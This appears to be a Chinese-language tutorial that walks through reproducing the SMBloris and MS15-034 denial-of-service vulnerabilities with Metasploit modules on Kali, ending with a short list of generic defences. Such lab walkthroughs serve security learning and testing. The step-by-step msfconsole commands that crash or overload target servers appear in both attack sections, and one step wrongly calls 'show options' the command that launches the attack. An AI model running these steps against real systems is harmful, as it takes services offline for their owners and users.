拒绝服务攻击（SMBloris 漏洞）

一、拒绝服务攻击漏洞复现

1.打开kali

2.打开命令终端

3.在进行 SMBloris拒绝服务攻击之前，要先设置攻击机的最大连接数。

4.我们利用Metasploit工具（简称：MSF）进行操作。（如果想下载和安装msf，可以看看我的另一篇文章）

5.使用 smb_loris 模块来攻击目标机机器

6.输入search dos/smb（指定查询dos/smb模块）

7.输入use 0或use 模块名称 （意思是进入功能模块）

8.输入set rhosts + 攻击对象ip（添加攻击对象IP）

9.输入show options （开始运行攻击）

10.我们查看被攻击的服务器CPU，受到大量的流量攻击，证明存在拒绝服务攻击（SMBloris 漏洞）。

二、MS15-034 HTTP 协议栈请求处理拒绝服务攻击

1.如果 Microsoft Windows7、Windows8、Windows Server2008

or Windows Server 2012 正在运行了存在 MS15-034 漏洞的 IIS

服务，那么可以利用这个漏洞导致目标服务器崩溃。

1. 进入msf工具

3.输入search ms15_034 （查找ms15_034模块）

4.use 0或use 功能模块名称 （进入功能模块）

5.set rhosts + 受攻击服务器的IP地址（添加受攻击服务器的ip）

6.exploit (运行攻击)

7.服务器受到攻击蓝屏崩溃，证明存在ms15_034 拒绝服务攻击漏洞。

三、拒绝服务攻击的防御方法

• 限制基于协议的带宽。

• 只运行必要的通信。

• 经常更新系统和补丁。

• 封锁恶意IP地址。

• 加强系统服务人员的安全培训。

• 建立健全拒绝服务攻击的应急响应机制。